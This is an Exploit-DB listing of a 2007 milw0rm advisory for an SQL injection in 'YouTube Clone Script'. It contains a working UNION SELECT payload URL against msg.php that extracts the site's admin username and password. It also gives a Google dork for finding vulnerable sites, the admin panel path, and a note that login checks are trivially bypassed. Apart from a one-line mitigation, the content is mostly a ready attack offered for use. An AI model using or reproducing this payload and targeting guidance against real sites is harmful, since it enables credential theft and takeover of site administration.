YouTube Clone Script SQL Injection Vulnerability

vendor:

YouTube Clone Script

by:

t0pP8uZz & xprog

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: YouTube Clone Script

Affected Version From: Not specified

Affected Version To: Not specified

Patch Exists: NO

Related CWE: Not specified

CPE: Not specified

Metasploit:

Other Scripts:

Platforms Tested: Not specified

2007

YouTube Clone Script SQL Injection Vulnerability

Remote SQL injection in msg.php id, able to pull admin user/pass.

Mitigation:

Implement proper input validation and parameterized queries to prevent SQL injection attacks.

Source

Exploit-DB raw data:

--==+================================================================================+==--
--==+                YouTube Clone Script SQL Injection Vulnerability                +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://www.hispah.com/index.php?act=viewProd&productId=20
DORK: allinurl:"channel_detail.php?chid="

DESCRIPTION:
Remote SQL injection in msg.php id, able to pull admin user/pass.

EXPLOIT:
http://site.com/path/msg.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,0x7430705038755A7A20616E64207870726F67206F776E616765,convert(concat((SELECT/**/svalue/**/from/**/sconfig/**/where/**/soption=0x61646D696E5F6E616D65),0x3a,(SELECT/**/svalue/**/from/**/sconfig/**/where/**/soption=0x61646D696E5F70617373))/**/using/**/latin1),4,5,6,7,8,9/*


Tip/Note:
Majority of the sites require login to view msg.php None of the registration info is checked.

Admin Panel is in /siteadmin/



GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+                YouTube Clone Script SQL Injection Vulnerability                +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-02]